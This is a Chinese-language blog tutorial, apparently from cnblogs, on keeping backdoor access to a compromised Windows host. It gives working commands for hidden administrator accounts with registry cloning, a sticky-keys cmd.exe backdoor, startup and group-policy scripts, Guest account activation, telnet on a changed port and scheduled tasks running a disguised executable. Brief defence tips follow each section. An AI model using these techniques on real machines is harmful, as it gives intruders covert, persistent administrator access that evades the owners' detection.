zoukankan      html  css  js  c++  java
  • Windows留后门维持权限(其中包括详细的telnet改端口与连接)

    题记

           这次按计划轮到权限维持了,想着都试试,结果发现工作量还不小,也算收获不少,这里印象最深的是又玩了一回telnet,希望大家重点关注这部分还有隐藏账户,也很有意思。我已经*号标出来了。

           补天又过了洞了,真不容易,我排名终于进入前3000了。纪念一波,补天洞能过一个可是真不容易,我还是挑的自己看着还行的网站。给你康康。

    1 *隐藏账户

           隐藏账户应该是最常见的后门方式,其设置方式如下:

           首先我们在命令行输入,如下命令创建一个隐藏账号

           net user sunny$ 123.com /add

           这个时候,通过net user并不能看到这个账户。

           然后我们将它添加到管理员权限。

           net localgroup administrators sunny$ /add

           但是这个"隐藏账户"在用户账户中可以看到,并不能骗过细心的管理员。

           这个时候我们可以通过操作注册表,使这个账户在用户账户中也不显示。首先我们输入regedit打开注册表编辑器,找到HKEY_LOCAL_MACHINESAMSAM,我们发现这个时候它是空白的,没有权限进行操作,所以我们要右键权限,将读写权限赋予administrator。

           然后我们重启注册表编辑器,发现这个时候已经可以访问了,我们在里面找到刚才创建的sunny$账号和administrator账号对应的键值类型。

           然后在上一级文件中找键值类型对应的目录,将administrator对应目录中的F值复制到sunny$对应目录中的F值。

           复制完成后,把sunny$和其对应的0000003ED目录先导出并保存。

           然后在命令行中删除刚才的账号

           net user sunny$ /del

           最后将刚才导出的注册表文件重新导入,隐藏账户就添加成功了。

           此时在用户账户中看不到这个隐藏账户。

           这个时候其实已经完成了,但是我们还可以再走一步操作,那就是把注册表刚才赋予administrator的权限禁止掉,这样这个账户就很难被发现了。

           链接3389,发现已经成功以sunny$账号登录目标主机,而且显示的用户为administrator。

    防范:

           经常检查用户账户、注册表关键位置。

           将计算机对用户登陆事件的审核策略打开。

    2 shift后门

           shift后门是很常见的留后门手法,其原理是用cmd.exe替换原先粘滞键,粘滞键的程序sethc.exe可以通过五次shift键调用,这样我们就可以直接通过按五次shift来调用一个system权限的命令行来执行命令、创建用户等。

           shift后门有着非常丰富的骚操作,我们先来通过一个最基础的shift后门来学习原理。

           这里要注意粘滞键的用户是trustedinstaller的,首先要更改软件所有者与管理员的权限。

           更改权限的方法参考这个网址:http://jingyan.baidu.com/article/4665065820f043f549e5f839.html

    制作方法如下:

           我们先进入C:WINDOWSsystem32目录,在这里右键打开命令行,依次输入

           move sethc.exe sethc.exe.bak

           copy cmd.exe sethc.exe

           这两句命令分别是将粘滞键程序备份,然后用cmd.exe覆盖原本的粘滞键程序。

           然后我们每次要使用时按5次shift键弹出cmd窗口,可直接以system权限执行系统命令,创建管理员用户,登录服务器等。最后每次删除掉新建的账户,减少被发现的概率。

           如图,我们可以在远程桌面界面就直接调用cmd:

    添加用户进入

           net user mm$ 123.com /add

           net localgroup administrators mm$ /add

           尝试登陆。

           操作完删除用户。

    防范:

           自行呼出粘滞键检查问题。

           禁用粘滞键。

    3 启动项后门

           我们可以让目标机器在每次启动的时候创建一个账户,在这个思路下有很多可以采取的措施,第一种是启动项:

           在C:UsersAdministratorAppDataRoamingMicrosoftWindowsStart MenuProgramsStartup目录中,放入我们启动时要运行的批处理代码或其他可运行文件,一般是创建一个管理员账户:

    @echo off
    
    net user hello$ 123.com /add
    
    net localgroup administrators hello$ /add

           保存为start.bat

           因为有所改动,可能图文不符,但是这是能成功的。(后来补的图)

           重启后成功创建用户

    防范:

           定期检查启动文件夹内容。

     4 组策略

           我第二种方法是组策略,可以在gpedit.msc中的windows设置-脚本(启动/关机)中添加新的启动脚本,在开机时就会自动运行。

           相比于第一种放在启动目录中,放在组策略中更加隐蔽,一般不容易引起管理员察觉,从而降低被删除的概率。

    防范:

           定期检查组策略。

           重启后我觉得这样不行,太明目张胆了。还是影子账户好使。

    5 启用Guest用户

           Guest用户本身就存在于计算机中,但是一般默认禁止,且不可登录,我们可以通过命令激活Guest用户并赋予管理员权限,并允许远程桌面登录。

    net user Guest /active:yes
    
    net user Guest 123.com
    
    net localgroup Administrators Guest /ADD

           gpedit.msc->计算机配置->windows设置->安全设置->本地策略->用户权限分配->允许通过远程桌面服务登录 添加Guest

           成功登录。

    防范:

           定期检查gpedit.msc->计算机配置->windows设置->安全设置->本地策略->用户权限分配中关于Guest用户的权限配置

    6 *telnet后门

           如果我们直接打开远程桌面的3389很容易就会被发现,但是我们打开telnet服务并改变默认端口(23),就可以做一定程度的隐藏,我们在服务中打开telnet服务,然后将windows服务中的telnet客户端打开,然后在我们本机打开telnet服务端,访问目标主机ip和端口并登陆我们的用户名密码即可。

           这里的配置如下:192.168.1.132为我们的目标靶机,192.168.1.3为实体机用来连接132。

    1、在192.168.1.132上安装telnet服务。

    2、启动telnet服务。

    3、更换telnet端口(改为不是23,增加隐蔽性,这里我改为95)

           tlntadmn config port =95

           如图重启服务

           netstat -anp tcp|findstr 95 查看95端口情况

           tlntadmn 查看设置

    4、在192.168.1.3开始客户端。

    5、连接132的telnet服务

           telnet 192.168.1.132 95

           因为改掉了端口号,这里需要链接95口。

    6、链接后输入账号密码登录

    7、在服务器端查看95端口情况。

    防范:

           定期检查服务器的进程端口有没有存在后门程序。

    7 计划任务

           schtasks /create /sc ONLOGON /mo modifier /tr C:WindowsSystem32cmd.exe /tn test

    7.1 命令解析

           创建新的计划任务。

           schtasks /create

           指定计划类型。有效值为 MINUTE、HOURLY、DAILY、WEEKLY、MONTHLY、ONCE、ONSTART、ONLOGON、ONIDLE。

           /sc schedule

           指定任务在其计划类型内的运行频率。这个参数对于 MONTHLY 计划是必需的。对于 MINUTE、HOURLY、DAILY 或 WEEKLY 计划,这个参数有效,但也可选。默认值为 1。

           /mo modifier

           指定任务运行的程序或命令。如果忽略该路径,SchTasks.exe 将假定文件在 SystemrootSystem32 目录下。

           /tr <TaskRun>

           指定任务的名称。

           /tn <TaskName>

    7.2 常用命令

           每分钟执行一次任务。

           schtasks /create /sc MINUTE /mo 1 /tn calc_update /tr "C:\Users\liuxueshuo\AppData\Local\Temp\calc_update.exe"

           每小时执行一次任务。

           schtasks /create /sc HOURLY /mo 1 /tn calc_update /tr "C:\Users\liuxueshuo\AppData\Local\Temp\calc_update.exe"

           每天执行一次任务。

           schtasks /create /sc DAILY /mo 1 /tn calc_update /tr "C:\Users\liuxueshuo\AppData\Local\Temp\calc_update.exe"

           每周执行一次任务。

           schtasks /create /sc WEEKLY /mo 1 /tn calc_update /tr "C:\Users\liuxueshuo\AppData\Local\Temp\calc_update.exe"

           删除计划任务。

           schtasks /Delete /TN 任务名称 /F

    参考文章

           windows常用后门技术及防范:http://next.uuzdaisuki.com/2018/06/18/windows常用后门技术及防范/

           Windows 服务器权限维持篇:http://bugfor.com/vuls/4906.html

           linux bash后门奇淫技巧:https://mp.weixin.qq.com/s/cJP3bQbkMrnF2iP9--wpjg

           windows 2008 修改telnet服务端口:http://jingyan.baidu.com/article/29697b9103f45dab21de3c67.html

  • 相关阅读:
    ajax 上传文件
    在linux服务器centos上使用svn同步代码到项目中
    css3 选择器 权重问题 (第二部分)
    css3 选择器 权重问题 (第一部分)
    css3 文本模型
    (java)剑指offer题三
    (java)剑指0ffer题二
    (java)剑指offer题一
    java程序入口main()方法浅析
    jar命令浅析
  • 原文地址:https://www.cnblogs.com/sunny11/p/14379051.html
Copyright © 2011-2022 走看看